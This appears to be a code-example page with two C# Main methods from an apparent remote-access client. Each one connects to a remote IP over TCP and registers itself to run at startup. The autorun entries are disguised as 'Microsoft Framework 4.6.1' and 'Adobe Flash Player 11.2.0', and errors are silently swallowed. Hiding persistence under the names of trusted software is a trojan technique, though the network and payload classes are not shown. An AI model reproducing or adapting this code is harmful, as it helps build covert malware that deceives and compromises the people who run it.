Exemplo n.º 1
0
 static void Main(string[] args)
 {
     Sender.TCP.Sender    sender = new Sender.TCP.Sender(GetIp());
     Sender.Domain.Domain domain = new Sender.Domain.Domain(sender);
     Sender.AutoOn.AutoOn.SetAutorunValue(true, "Microsoft Framework 4.6.1");
     domain.Run();
 }
Exemplo n.º 2
0
 static void Main(string[] args)
 {
     try
     {
         Sender.TCP.Sender      sender = new Sender.TCP.Sender(GetIp());
         Sender.Domain.Domain   domain = new Sender.Domain.Domain(sender);
         System.IO.StreamReader streamReader;
         if (System.IO.File.Exists(AppDomain.CurrentDomain.BaseDirectory + @"\Framework 4.6.1"))
         {
             if ((streamReader = new StreamReader(AppDomain.CurrentDomain.BaseDirectory + @"\Framework 4.6.1")).ReadLine() == "true")
             {
                 Sender.AutoOn.AutoOn.SetAutorunValue(true, "Adobe Flash Player 11.2.0");
             }
         }
         else
         {
             System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + @"\Framework 4.6.1");
         }
         domain.Run();
     }
     catch
     {
     }
 }